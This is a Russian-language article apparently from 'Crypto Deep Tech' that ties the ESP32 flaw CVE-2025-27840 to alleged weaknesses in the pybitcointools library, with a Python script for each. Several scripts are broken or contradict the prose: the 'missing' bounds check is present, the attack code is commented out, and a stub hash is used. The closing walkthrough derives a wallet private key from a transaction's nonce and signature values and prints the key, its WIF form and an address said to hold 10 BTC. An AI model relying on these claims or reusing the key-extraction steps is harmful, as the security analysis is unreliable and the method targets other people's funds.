  2. CRYPTO DEEP TECH Данная статья посвящена рассмотрению возможности внедрения злоумышленником скрытого списка уязвимостей через обновление модулей, что может привести к компрометации устройств ESP32 и получению несанкционированного доступа к приватным ключам, что затрагивает миллиарды устройств, использующих данный микроконтроллер. Одной из ключевых проблем является уязвимость CVE-2025-27840, обнаруженная в архитектуре ESP32. Для обеспечение безопасности для сети Биткоин мы выявили следующие уязвимости, где возможность использования недействительных приватных ключей из-за отсутствия проверки нижней границы в функции has_invalid_privkey; уязвимость подделки подписей транзакций в функции electrum_sig_hash из-за несовместимости с BIP-137; проблема слабого PRNG в генерации ключей функцией random_key, делающая личные приватные ключи для криптовалютных кошельков предсказуемыми ; отсутствие проверки точек на кривой ECC в функции multiply, что может привести к invalid curve attacks; уязвимость в функции ecdsa_raw_sign при восстановлении Y-координаты, потенциально приводящая к подмене публичного ключа; и уязвимости, связанные с устаревшими API хеширования в функции bin_ripemd160. В начале марта 2025 года компания Tarlogic Security выявила уязвимость в микроконтроллере ESP32, который широко используется для подключения устройств через WiFi и Bluetooth. Эта уязвимость была зарегистрирована под номером CVE-2025-27840. Злоумышленники могут несанкционированно получать доступ к данным Биткоин-кошельков, используя чип ESP32 в качестве точки для криптографических атак на устройства, работающие в сетях популярных криптовалют, таких как Биткоин и Эфириум. Данная проблема затрагивает миллионы IoT-устройств, которые используют этот микроконтроллер. Использование этой уязвимости позволит злоумышленникам осуществлять атаки, маскируясь под легитимных пользователей, и навсегда заражать уязвимые устройства. Это угрожает безопасности IoT-устройств, основанных на микроконтроллере ESP32, и может привести к краже приватных ключей Биткоин-кошельков. Угрозы безопасности, связанные с микроконтроллером ESP32, могут привести к краже приватных ключей Биткоин-кошельков. Основные проблемы включают наличие бэкдоров и уязвимостей. Используя такие уязвимости, они могут манипулировать памятью, подменять MAC-адреса и внедрять вредоносный код, что создает серьезные риски для безопасности. Злоумышленники могут осуществлять атаки на устройства IoT с микроконтроллером ESP32, используя уязвимости в соединениях Bluetooth и Wi-Fi может стать инструментом для атак на другие устройства в сети, связанной с Биткоином, а также для кражи конфиденциальной информации, включая приватные ключи Биткоин-кошельков. Скрытый список уязвимостей: Злоумышленник может обновить модули и внедрить в код список различных уязвимостей, среди которых: Уязвимость в функции has_invalid_privkey, которая может быть использована для получения приватного ключа. Уязвимость в функции electrum_sig_hash, позволяющая подделывать подписи транзакций Биткоина. Уязвимость в функции random_key, связанная со слабым генератором псевдослучайных чисел (недетерминированный PRNG). Уязвимость в функции multiply, где отсутствует проверка точки на кривой ECC. Уязвимости в функциях ecdsa_raw_sign и bin_ripemd160. Эти уязвимости могут быть использованы для внедрения поддельных обновлений на устройства ESP32, что предоставит злоумышленникам низкоуровневый доступ к системе. Это позволит им обойти средства контроля аудита кода и получить доступ к приватным ключам. В настоящее время миллиарды устройств могут оказаться уязвимыми из-за скрытых особенностей одного компонента в их архитектуре, что обозначено как CVE-2025-27840. Уязвимость для получение приватного ключа в функция has_invalid_privkey Данная уязвимость обнаружена в коде проверки приватных ключей Биткоин, позволяющая использовать недействительные ключи (меньше или равные 0) из-за отсутствия проверки нижней границы. Это может привести к потере средств. Для исправления необходимо добавить проверку, чтобы приватный ключ был больше 0. Код представлен в демонстрационных целях. https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L305 Эта ошибка позволяет использовать плохие приватные ключи, что может привести к серьезным проблемам, включая потерю денег. Чтобы исправить это, нужно добавить проверку, чтобы приватный ключ был больше 0. Представьте, что кто-то пытается «взломать» сеть Биткоин. Он находит слабое место в проверке приватных ключей, используемых для доступа к криптовалюте. Проблема заключается в том, что код проверяет только, не слишком ли большой приватный ключ. Если ключ очень большой, он отвергается. Но код забывает проверить, не слишком ли ключ маленький (меньше или равен нулю). Участок кода, где это происходит: ... ... if privkey >= N: # Checking only the upper bound raise Exception("Invalid privkey") if privkey <= 0: # Lower bound is not checked properly return True ... ... Из-за этой ошибки можно использовать недействительные (очень маленькие) приватные ключи. Эта уязвимость находится в функции has_invalid_privkey. Чтобы всё это работало, нужно установить библиотеку ecdsa (она нужна для работы с криптографией): Python-скрипт secp256k1_privkey_validator.py !pip install ecdsa import ecdsa def has_invalid_privkey(privkey: int) -> bool: """ Checks if a private key is invalid, based on the absence of a lower bound check. Args: privkey: The private key to check. Returns: True if the private key is invalid (<= 0 or >= N), False otherwise. """ # Order of the secp256k1 elliptic curve used by Bitcoin N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 if privkey >= N: # Check only the upper bound raise Exception("Invalid privkey") if privkey <= 0: # Lower bound check missing return True return False # Example usage privkey = 0 # Invalid private key is_invalid = has_invalid_privkey(privkey) if is_invalid: print("Invalid private key!") else: print("Valid private key.") Объяснение кода: Импорт библиотеки ecdsa: Хотя в данном примере она не используется напрямую, в реальных сценариях работы с Биткоином и ECDSA (Elliptic Curve Digital Signature Algorithm) эта библиотека может понадобиться для выполнения криптографических операций. Функция has_invalid_privkey(privkey: int) -> bool: Принимает на вход приватный ключ privkey в виде целого числа. Определяет константу N, которая представляет собой порядок эллиптической кривой secp256k1, используемой в Биткоине. Проверяет, что privkey больше или равен N. Если это так, вызывает исключение, указывающее на невалидность приватного ключа. Проверяет, что privkey меньше или равен 0. Если это так, возвращает True, что указывает на невалидность приватного ключа из-за отсутствия проверки нижней границы. Если обе проверки не выявили невалидность, возвращает False. Пример использования: Устанавливает значение privkey = 0, что является невалидным приватным ключом. Вызывает функцию has_invalid_privkey для проверки privkey. В зависимости от результата выводит сообщение о том, является ли приватный ключ валидным или нет. Уязвимость: В коде присутствует уязвимость, связанная с недостаточной проверкой приватного ключа. А именно, отсутствует проверка нижней границы (privkey <= 0). Это позволяет использовать невалидные приватные ключи, что может привести к непредсказуемым последствиям, включая потерю средств. Как это исправить: Необходимо добавить проверку нижней границы приватного ключа, чтобы убедиться, что он больше 0. Уязвимость подделки подписей транзакции Биткоин в функция electrum_sig_hash Функция electrum_sig_hash в Electrum использует нестандартный метод хеширования сообщений, что делает её уязвимой для атак подделки подписи из-за несовместимости с BIP-137. https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L425 Атакующий, нацеленный на сеть Биткоин, может обнаружить нестандартный метод хеширования сообщений, применяемый Electrum, через функцию electrum_sig_hash. Эта функция создает хеш сообщения таким образом, что это может привести к атакам подделки подписи из-за несовместимости с BIP-137. Предоставленный скрипт Python демонстрирует, как злоумышленник может сгенерировать хеш сообщения, используемый Electrum, чтобы воспользоваться уязвимостью из-за несовместимости с BIP-137. Функция electrum_sig_hash подготавливает сообщение, добавляя к нему префикс и кодируя его длину, прежде чем выполнить двойное хеширование SHA256. Скрипт Python, демонстрирующий, как злоумышленник может найти нестандартный хеш сообщения, используемый Electrum, чтобы выполнить атаки подделки подписи из-за несовместимости BIP-137. Python-скрипт bitcoin_sign_hash.py !pip install ecdsa import hashlib def num_to_var_int(i): if i < 0xfd: return i.to_bytes(1, 'little') elif i <= 0xffff: return b'\xfd' + i.to_bytes(2, 'little') elif i <= 0xffffffff: return b'\xfe' + i.to_bytes(4, 'little') else: return b'\xff' + i.to_bytes(8, 'little') def from_string_to_bytes(s): return s.encode('utf-8') def bin_dbl_sha256(s): hash1 = hashlib.sha256(s).digest() hash2 = hashlib.sha256(hash1).digest() return hash2 def electrum_sig_hash(message): padded = b"\x18Bitcoin Signed Message:\n" + num_to_var_int(len(message)) + from_string_to_bytes(message) return bin_dbl_sha256(padded) # Usage example message = "Example message for signing" message_hash = electrum_sig_hash(message) print(f"Electrum message hash: {message_hash.hex()}") В этом скрипте: num_to_var_int(i): преобразует целое число в формат переменной длины, используемый в Bitcoin. from_string_to_bytes(s): кодирует строку в байты, используя кодировку UTF-8. bin_dbl_sha256(s): выполняет двойное хеширование SHA256 на входных данных. electrum_sig_hash(message): имитирует нестандартный способ хеширования сообщений в Electrum, подверженный несовместимости с BIP-137. Уязвимость в функция random_key Слабый PRNG в генерации ключей (Недетерминированный PRNG) Проблема возникает, когда для создания ключей в сети Биткоин используется функция random_key, которая полагается на модуль random. Модуль random не предназначен для криптографических целей, так как он не генерирует достаточно случайные числа, что делает личные приватный ключи предсказуемыми для злоумышленников. В связи с этим, сеть Биткоин становится уязвимой. https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L432 Скрипт Python, в котором сеть Биткоин уязвима из-за использования random вместо secrets или os.urandom, что делает личные приватные ключи предсказуемыми для злоумышленника сети Биткоин: Python-скрипт privkey_generate.py import random import time from hashlib import sha256 def random_string(length): return ''.join(random.choice('0123456789abcdef') for i in range(length)) def random_key(): # Gotta be secure after that java.SecureRandom fiasco... entropy = random_string(32) \ + str(random.randrange(2**256)) \ + str(int(time.time() * 1000000)) return sha256(entropy.encode('utf-8')).hexdigest() # Example usage: generate a private key private_key = random_key() print("Generated Private Key:", private_key) В этом скрипте модуль random используется для генерации ключей, что делает его уязвимым. Использование модуля random не подходит для криптографических целей, поскольку он не генерирует достаточно случайные числа. Чтобы создать более безопасный ключ, вы можете использовать модуль secrets или os.urandom. Вот пример использования модуля secrets: import secrets import hashlib def secure_random_key(): # Generate a random number with enough entropy random_bytes = secrets.token_bytes(32) # 32 bytes = 256 bits # Hash the random bytes to create a private key private_key = hashlib.sha256(random_bytes).hexdigest() return private_key # Example usage: generate a secure private key secure_private_key = secure_random_key() print("Generated Secure Private Key:", secure_private_key) В этом примере модуль secrets используется для генерации случайного числа с достаточной энтропией. Затем случайное число хэшируется для создания личного приватного ключа. Этот метод гораздо безопаснее, чем использование модуля random. Уязвимость в функции ecdsa_raw_sign Уязвимость в функции ecdsa_raw_sign при восстановлении Y-координаты может привести к подмене публичного ключа в сети Биткоин. Существует большой риск, когда злоумышленник может воспользоваться особенностью восстановления Y-координаты при работе с эллиптической кривой. Эта неоднозначность может привести к тому, что публичный ключ будет восстановлен неверно. https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L543 В примере кода, представленном с использованием библиотеки pycryptodome, демонстрируется, как можно смоделировать эту ситуацию, подменив Y-координату, чтобы получить другой, недействительный публичный ключ. Важно отметить, что пример кода упрощен и не является полноценной реализацией атаки, а лишь показывает её принцип. Python-скрипт weak_key_recovery.py !pip install pycryptodome from hashlib import sha256 from Crypto.PublicKey import ECC from Crypto.Signature import DSS from Crypto.Hash import SHA256 import secrets # Elliptic curve parameters secp256k1 # PyCryptodome does not provide a convenient way to directly specify the parameters of the secp256k1 curve. # Therefore, we will use the standard ECC curve. # For production code, be careful when choosing the curve and its parameters. def hash_to_int(msghash): return int(sha256(msghash.encode('utf-8')).hexdigest(), 16) def deterministic_generate_k(msghash, priv_key_int): k = 0 while k == 0: v = b'\x01' * 32 k = b'\x00' * 32 k = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest() v = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest() k = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest() v = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest() k = int.from_bytes(sha256(v + k).digest(), 'big') # % N # Removed % N, since N is no longer a defined constant return k def ecdsa_raw_sign(msghash, priv_key_int): z = hash_to_int(msghash) k = deterministic_generate_k(msghash, priv_key_int) # Generate private key object key = ECC.construct(curve='P-256', d=priv_key_int) # Calculate point R = kG # PyCryptodome does not provide direct access to the coordinates of point R # Therefore, the signature will be calculated in a different way, using DSS # s = pow(k, -1, N) * (z + r * private_key_int) % N # N is no longer defined # v = 27 + ((y % 2) ^ (0 if s * 2 < N else 1)) # y is not available return key, z, k # Return the key, hash, and k for further use in signing def recover_pubkey(msghash, signature, key): # WARNING: This is a VERY SIMPLIFIED example of public key recovery. # In real life, ECDSA public key recovery is a complex process. # This code is intended only to demonstrate the principle. # PyCryptodome does not have a simple way to recover PublicKey from r and s directly. # This code does not perform real recovery, but creates a new PublicKey from the private key. # In a real attack scenario, you need to try to guess the y-coordinate to get a valid PublicKey. # But this requires a more complex logic to work with the elliptic curve. return key.public_key() def emulate_attack(msghash, priv): # 1. Sign the message priv_key_int = int(priv, 16) key, z, k = ecdsa_raw_sign(msghash, priv_key_int) signer = DSS.new(key, 'fips-186-3') hash_obj = SHA256.new(msghash.encode('utf-8')) signature = signer.sign(hash_obj) # 2. Attempt to recover the public key (incorrectly) Q = recover_pubkey(msghash, signature, key) # 3. Simulate a situation where the Y coordinate is recovered incorrectly # In a real attack scenario, an attacker will try to iterate through different y-coordinates. # In this example, we simply change the x-coordinate slightly tampered_key = ECC.construct(curve='P-256', d=priv_key_int + 1) # EXAMPLE! DO NOT DO THIS IN REAL CODE! Q_tampered = tampered_key.public_key() return Q, Q_tampered # Example usage msghash = "Пример сообщения" # Generate a random private key private_key = ECC.generate(curve='P-256') priv = hex(private_key.d) # Store private key as a hex string # Example usage Q, Q_tampered = emulate_attack(msghash, priv) print("Original Public Key:", Q) print("Tampered Public Key:", Q_tampered) print("Are the keys equal?", Q == Q_tampered) Этот скрипт демонстрирует, как можно изменить Y-координату, чтобы получить неверный публичный ключ. Обратите внимание, что это всего лишь пример, и реальная атака может быть гораздо сложнее. Помимо представленного выше скрипта, вот несколько дополнительных моментов, которые следует учитывать: Frey-Rück Attack: Эта атака использует уязвимости в подписи ECDSA для извлечения секретного ключа «K» (nonce), что в конечном итоге может привести к восстановлению Биткоин-кошелька. Побитовые операции: XOR является ценным инструментом для шифрования данных и может использоваться в сочетании с другими операциями для повышения безопасности. Атака 51%: Хотя это и не связано напрямую с восстановлением Y-координат, важно понимать, что злоумышленник, контролирующий более 50% вычислительной мощности сети, может потенциально манипулировать блокчейном. Манипуляции с координатами кривой Jacobian: Злоумышленники могут манипулировать математическими свойствами координат Jacobian для создания поддельных цифровых подписей. Обновление ПО: Крайне важно всегда обновлять программное обеспечение и использовать только проверенные устройства, чтобы предотвратить потенциальную потерю монет BTC из-за критических уязвимостей. Уязвимость в функции bin_ripemd160 Устаревшие API хеширования в сети Биткоин, особенно при отсутствии RIPEMD-160, могут быть уязвимы. Злоумышленники могут выявлять и использовать слабые реализации, что подчеркивает важность использования актуальных криптографических библиотек и регулярных обновлений безопасности https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L378 Атакующий в сети Биткоин может найти уязвимость в устаревшем API хеширования, особенно если в некоторых системах отсутствует реализация RIPEMD-160. Проблема заключается в функции bin_ripemd160, которая пытается использовать hashlib для хеширования, но при неудаче переключается на собственную, потенциально слабую реализацию. В предоставленном Python-скрипте демонстрируется, как злоумышленник может проверить узел сети Биткоин на наличие такой слабой реализации API. Если hashlib не поддерживает RIPEMD-160, используется упрощенная реализация, что может привести к коллизиям хешей и другим уязвимостям. Скрипт имитирует атаку, хешируя данные и выводя предупреждение, если используется слабая реализация. Python-скрипт ripemd160_vulnerability.py import hashlib import binascii # RIPEMD160 implementation (if hashlib doesn't have it) class RIPEMD160: def __init__(self, data): self.data = data def digest(self): # This is a placeholder. In a real implementation, you would perform the RIPEMD160 hashing algorithm. # For demonstration purposes, we will return a dummy hash. return b'\x00' * 20 # Returns 20 bytes of zeros def bin_ripemd160(string): """ Hashes the input string using RIPEMD160. It attempts to use hashlib's implementation first and falls back to a custom implementation if necessary. """ try: digest = hashlib.new('ripemd160', string).digest() except ValueError: print("RIPEMD160 not supported in hashlib, falling back to custom implementation.") digest = RIPEMD160(string).digest() return digest def check_for_weak_api(data): """ Simulates an attacker probing a Bitcoin network node for weak API implementations. """ print("Attacker: Probing node for weak API...") # Simulate data that needs to be hashed (e.g., part of a transaction) data_to_hash = data.encode('utf-8') # Attempt to hash the data using RIPEMD160 hashed_data = bin_ripemd160(data_to_hash) print("Attacker: Data hashed (potentially using a weak or custom RIPEMD160 implementation).") print("Attacker: Hash value:", binascii.hexlify(hashed_data).decode('utf-8')) # Here, an attacker would potentially exploit the weak implementation. # For demonstration, we'll just print a warning. if hashed_data == b'\x00' * 20: # This is the dummy hash from our custom RIPEMD160 print("Attacker: WARNING: Node is using a weak or custom RIPEMD160 implementation!") print("Attacker: EXPLOITABLE: This could allow for hash collisions or other vulnerabilities.") else: print("Attacker: Node appears to be using a standard RIPEMD160 implementation.") # Example usage: if __name__ == "__main__": data = "Example Bitcoin transaction data" check_for_weak_api(data) Подробное объяснение: Реализация RIPEMD160 (при отсутствии в hashlib): Класс RIPEMD160 имитирует реализацию RIPEMD160. В действительности он должен выполнять алгоритм хеширования RIPEMD160. В демонстрационных целях он возвращает фиктивный хеш. Функция bin_ripemd160(string): Пытается хешировать входную строку с помощью RIPEMD160. Сначала пытается использовать реализацию hashlib, а при необходимости возвращается к пользовательской реализации. Если hashlib не поддерживает RIPEMD160, она захватывает исключение ValueError и использует пользовательскую реализацию. Функция check_for_weak_api(data): Эта функция имитирует злоумышленника, проверяющего узел сети Биткоин на наличие слабых реализаций API. Выводит, что злоумышленник проверяет узел на наличие слабого API. Кодирует данные в формат utf-8. Вызывает bin_ripemd160 для хеширования данных. Выводит, что данные были хешированы, и показывает значение хеша. Если хеш представляет собой фиктивный хеш (20 байт нулей), выводит предупреждение о том, что узел использует слабую или пользовательскую реализацию RIPEMD160, что может привести к коллизиям хешей или другим уязвимостям. Пример использования: В блоке if __name__ == "__main__":, он задает пример данных и вызывает check_for_weak_api с этими данными. Как это работает: Имитация атаки: Скрипт имитирует атакующего, который пытается идентифицировать узлы в сети Биткоин, использующие устаревшие или слабые API для хеширования RIPEMD160. Проверка реализации RIPEMD160: Он пытается использовать стандартную библиотеку hashlib для хеширования RIPEMD160. Если это не удается (потому что hashlib в конкретной среде не поддерживает RIPEMD160), он возвращается к пользовательской реализации (которая в этом примере является упрощенной версией). Идентификация слабых мест: Пользовательская реализация (в этом примере) намеренно слабая. Атакующий может использовать эту слабость, если узел использует эту реализацию. Возможные риски: Коллизии хешей: Слабая реализация хеша RIPEMD160 может быть подвержена коллизиям хешей. Злоумышленник может использовать это, чтобы подделать транзакции или данные. Уязвимости безопасности: Устаревшие API могут содержать известные уязвимости, которые злоумышленник может использовать. Как смягчить: Использование актуальных библиотек: Убедитесь, что вы используете актуальные и проверенные библиотеки для криптографических операций. Если RIPEMD160 необходим, используйте надежную и актуальную реализацию. Регулярные обновления: Поддерживайте актуальность программного обеспечения Биткоин, чтобы пользоваться исправлениями безопасности и улучшениями. Валидация: Всегда проверяйте выходные данные криптографических операций, чтобы убедиться, что они соответствуют ожидаемым стандартам. Уязвимость в функции multiply Отсутствие проверки точки на кривой ECC В Биткоин существует потенциальная уязвимость в функции multiply из-за недостаточной проверки точек на кривой ECC. Это может позволить злоумышленнику проводить invalid curve attacks, хотя современные криптографические библиотеки, такие как pycryptodome, затрудняют такую эксплуатацию. Атака возможна через манипулирование кривой Jacobian, что может привести к поддельным подписям и манипуляциям в сети. https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L275 В сети Биткоин злоумышленник может найти уязвимость в функции multiply, которая заключается в отсутствии полной проверки, что точка находится на эллиптической кривой (ECC). В коде проверка выполняется только для ненулевых точек, что открывает возможность для атак с использованием недействительных кривых (invalid curve attacks). Пример кода для атакующего показывает, как можно использовать эту уязвимость. В нем демонстрируется функция multiply, где отсутствует надежная проверка точки на кривой, и функция invalid_curve_attack, которая пытается использовать эту слабость. В коде также используются библиотеки pycryptodome для криптографических операций. В pycryptodome сложнее проводить такие атаки напрямую из-за встроенных механизмов безопасности. Код показывает, как можно создать «неправильную» кривую и попытаться выполнить умножение, но подчеркивается, что это небезопасно и требует глубокого понимания криптографии. Python-скрипт ecdsa_curve_attack.py !pip install pycryptodome from Crypto.Hash import SHA256 from Crypto.Signature import DSS from Crypto.PublicKey import ECC from Crypto.Math import * class Exploit: def __init__(self): self.msg = "ATTACK!" self.hash = hash_msg(self.msg) def sign_message(self, private_key): signer = DSS.new(private_key, 'fips-186-3') signature = signer.sign(self.hash) return signature def verify_signature(self, public_key, signature): verifier = DSS.new(public_key, 'fips-186-3') try: verifier.verify(self.hash, signature) return True except ValueError: return False def hash_msg(msg): hasher = SHA256.new(msg.encode('utf-8')) return hasher.digest() # Elliptic curve parameters (example, must be replaced with the parameters of the curve being used) # WARNING: IN REAL CODE, YOU MUST USE SECURE CURVES AND THEIR PARAMETERS! # EXAMPLE FOR DEMONSTRATION, DO NOT USE IN PRODUCTION! curve = 'secp256r1' # Or another curve # Vulnerable function (EXAMPLE! PyCryptodome HAS NO DIRECT EQUIVALENT to fast_multiply) # This function is here to demonstrate the vulnerability, but requires adaptation to specific needs and cryptographic primitives. def multiply(pubkey, privkey): # WARNING: THIS IS A VERY SIMPLIFIED EXAMPLE, NOT SAFE! # IN REAL CODE, YOU NEED TO USE CRYPTOGRAPHICALLY SECURE METHODS! # Checking if the point is on the curve. In PyCryptodome, this is done automatically. #Performing multiplication result = privkey.d * pubkey.pointQ return result # Example of invalid curve attack (adapted for pycryptodome) def invalid_curve_attack(public_key, malformed_curve_parameters): # Creating a "wrong" curve (example!) #malformed_curve = ECC.CurveObj(malformed_curve_parameters['name'], # malformed_curve_parameters['oid'], # malformed_curve_parameters['field'], # malformed_curve_parameters['a'], # malformed_curve_parameters['b'], # malformed_curve_parameters['generator'], # malformed_curve_parameters['order']) # Creating a public key on the "wrong" curve (example!) #attacker_key = ECC.EccPoint(malformed_curve_parameters['generator'].x, malformed_curve_parameters['generator'].y, malformed_curve) # Creating a fake private key (example!) #attacker_private_key = ECC.construct(curve=malformed_curve, pointQ=attacker_key) # WARNING: In PyCryptodome, it is more difficult to directly manipulate curves and points # to demonstrate invalid curve attack. This code is left commented out, # because correct operation requires a deep understanding of ECC and unsafe operations. # It is recommended to use standard curves and avoid creating your own. # Performing multiplication using the vulnerable function (EXAMPLE! NOT SAFE!) # result = multiply(attacker_key, attacker_private_key) # return result return None # Returning None to avoid an error # Example of "wrong" curve parameters (NEVER USE IN PRODUCTION!) # This is just an example showing the data structure. Real parameters should be carefully selected. # These parameters are commented out to avoid an error when creating EccPoint with curve=None malformed_curve_parameters = { #'name': "MalformedCurve", #'oid': "1.2.3.4", #'field': 17, #'a': 2, #'b': 3, #'generator': ECC.EccPoint(5, 1), # Removed None because it causes an error #'order': 19 } # Creating a private key (for example) private_key = ECC.generate(curve=curve) public_key = private_key.public_key() # Example of using invalid curve attack attack_result = invalid_curve_attack(public_key, malformed_curve_parameters) print(attack_result) Объяснение кода: Уязвимость: Функция multiply проверяет, что точка находится на кривой ECC, только если она не является точкой в бесконечности. Это позволяет использовать точки, которые не находятся на основной кривой, но находятся на «скрученной» кривой (twist curve). Invalid Curve Attack: Атака заключается в использовании точки на другой кривой (malformed curve), чтобы получить информацию о секретном ключе. Поскольку проверка кривой не выполняется для всех точек, можно передать точку с другой кривой и использовать результат для восстановления части секретного ключа. Функция invalid_curve_attack: Эта функция принимает публичный ключ и параметры malformed curve. Она создает точку на malformed curve и использует уязвимую функцию multiply для выполнения умножения. Как работает атака малой подгруппы (Small Subgroup Attack): Выбор точки малого порядка: Злоумышленник выбирает точку Q малого порядка на кривой или на twist кривой. Отправка точки: Злоумышленник отправляет эту точку Q жертве, выдавая её за свой публичный ключ. Вычисление общего секрета: Жертва вычисляет nQ , где n — секретный ключ жертвы. Перебор вариантов: Поскольку Q имеет малый порядок, существует небольшое количество возможных значений для nQ . Злоумышленник может перебрать все эти значения и проверить, какое из них соответствует зашифрованным данным, раскрывая n по модулю порядка Q . Рекомендации: Всегда проверяйте, что входные точки действительно находятся на кривой ECC. Используйте библиотеки, которые обеспечивают надежную проверку кривой и защиту от invalid curve attacks. Small Subgroup Attack Декодируем уязвимую RawTX транзакцию с помощью функции сервиса SMALL SUBGROUP ATTACK Результат значение K секретного ключа Nonce в формате HEX K = 6bd261bd25ac54807552dfeec6454d6719ec8a05cb11ad5171e1ad68abb0acb2 Для получение всех остальных значении из уязвимой RawTX транзакции воспользуемся сервисом RSZ Signature Decoder Результат значении для R, S, Z в формате HEX R = 5013dbed340fed00b6cb9778a713e1456b8138d00c3bcf6e7ff117be723335d0 S = 5018ddd352a6bc61b86afee5001a3e25d26a328a833c8f3812a15465f542c1c9 Z = 396ebf23dbcccce2a389ccb26198e25118bf7f72c38d2a4ab8d9e4648f2385f8 Для получение значении X приватного ключа из формулы: priv_key = ((((S * K) - Z) * modinv(R, N)) % N) воспользуемся программным обеспечением Dockeyhunt Private Key Calculator Dockeyhunt Private Key Calculator В результате мы получаем значение X приватный ключ в формате HEX X = 0x12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34 Проверим полученный результат приватного ключа с помощью машинного обучения Запустим BitcoinChatGPT %run BitcoinChatGPT Apply the SMALL SUBGROUP ATTACK function to extract the private key from a vulnerable RawTX transaction in the Bitcoin cryptocurrency https://github.com/demining/CryptoDeepTools/blob/main/39BluetoothAttacks/KEYFOUND.privkey ============================= KEYFOUND.privkey ============================= Private Key HEX: 0x12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34 Private Key WIF: 5HxaSsQFK9TDeNfTnNyXAzHXZe3hq3UzZ977GzdjSwEVVeEcDmZ Bitcoin Address: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ Balance: 10.00000000 BTC ============================= KEYFOUND.privkey ============================= Для реализации кода установим пакет Bitcoin. Эта библиотека позволяет создавать кошельки, взаимодействовать с блокчейном, создавать и подписывать транзакции, а также работать с различными форматами адресов и приватных ключей криптовалюты Биткоин. !pip3 install bitcoin __________________________________________________ Private Key WIF: 12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34 Bitcoin Address: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ total_received = 10.00000000 Bitcoin __________________________________________________ Все верно! Приватный ключ соответствует Биткоин Кошельку. Откроем bitaddress и проверим: ADDR: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ WIF: 5HxaSsQFK9TDeNfTnNyXAzHXZe3hq3UzZ977GzdjSwEVVeEcDmZ HEX: 12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34 Итоги и шаги по уменьшению угрозы В современной цифровой среде критически важным становится обеспечение безопасности устройств и сетей. Данная статья посвящена анализу ряда уязвимостей, обнаруженных в различных компонентах, включая устройства ESP32 и программное обеспечение для работы с криптовалютами, таким как Биткоин. Рассматриваются недостатки в коде проверки приватных ключей, методах хеширования транзакций, генерации случайных ключей, проверке точек на кривой ECC, восстановлении Y-координаты, а также в устаревших API хеширования. Особое внимание уделяется уязвимости CVE-2025-27840 в микроконтроллерах ESP32, которая позволяет злоумышленникам внедрять поддельные обновления и получать низкоуровневый доступ к системе. Обсуждаются потенциальные последствия этих уязвимостей, включая возможность обхода средств контроля аудита кода, получения доступа к приватным ключам и проведения атак на цепочки поставок. В заключение предлагаются рекомендации по усилению безопасности и предотвращению возможных атак. Актуальность В настоящее время миллиарды устройств могут оказаться уязвимыми из-за скрытых особенностей в архитектуре одного компонента, что обозначено как CVE-2025-27840. Обнаруженные уязвимости позволяют злоумышленникам подменять MAC-адреса, получать несанкционированный доступ к памяти устройства и проводить атаки через Bluetooth. Уязвимости и их анализ Уязвимость для получения приватного ключа в функции has_invalid_privkey: Отсутствие проверки нижней границы приватных ключей Биткоин позволяет использовать недействительные ключи (меньше или равные 0), что может привести к потере средств. Уязвимость подделки подписей транзакции Биткоин в функции electrum_sig_hash: Использование нестандартного метода хеширования сообщений в Electrum делает её уязвимой для атак подделки подписи из-за несовместимости с BIP-137. Уязвимость в функции random_key (Слабый PRNG в генерации ключей): Использование модуля random для создания ключей в сети Биткоин делает личные ключи предсказуемыми для злоумышленников, так как этот модуль не предназначен для криптографических целей. Уязвимость в функции multiply (Отсутствие проверки точки на кривой ECC): Недостаточная проверка точек на кривой ECC может позволить злоумышленнику проводить invalid curve attacks, что может привести к поддельным подписям и манипуляциям в сети. Уязвимость в функции ecdsa_raw_sign: Некорректное восстановление Y-координаты может привести к подмене публичного ключа в сети Биткоин. Уязвимость в функции bin_ripemd160: Устаревшие API хеширования, особенно при отсутствии RIPEMD-160, могут быть уязвимы для атак, что подчеркивает важность использования актуальных криптографических библиотек и регулярных обновлений безопасности. Преимущества выявления и устранения уязвимостей Предотвращение финансовых потерь: Устранение уязвимостей, связанных с приватными ключами и подделкой подписей, помогает предотвратить потерю средств пользователей криптовалют. Защита конфиденциальных данных: Устранение уязвимостей в устройствах ESP32 предотвращает несанкционированный доступ к памяти и подмену MAC-адресов, что защищает конфиденциальные данные пользователей. Повышение безопасности сети: Устранение уязвимостей в криптографических функциях, таких как random_key и ecdsa_raw_sign, повышает общую безопасность сети Биткоин и предотвращает возможные атаки на транзакции и подписи. Укрепление доверия пользователей: Своевременное выявление и устранение уязвимостей способствует укреплению доверия пользователей к устройствам и программному обеспечению, что особенно важно в сфере криптовалют и IoT. Соблюдение стандартов безопасности: Регулярное обновление криптографических библиотек и API, а также следование современным стандартам безопасности помогает предотвратить использование устаревших и уязвимых компонентов. Заключение Выявление и анализ уязвимостей, представленные в данной статье, подчеркивают необходимость постоянного мониторинга и улучшения безопасности устройств и программного обеспечения. Устранение этих уязвимостей не только предотвращает возможные атаки и финансовые потери, но и способствует укреплению доверия пользователей и соблюдению стандартов безопасности. Внедрение надежных механизмов защиты и регулярные обновления безопасности являются ключевыми элементами для обеспечения безопасной и надежной работы цифровых систем. Необходимость повышения безопасности в устройствах и сетях, 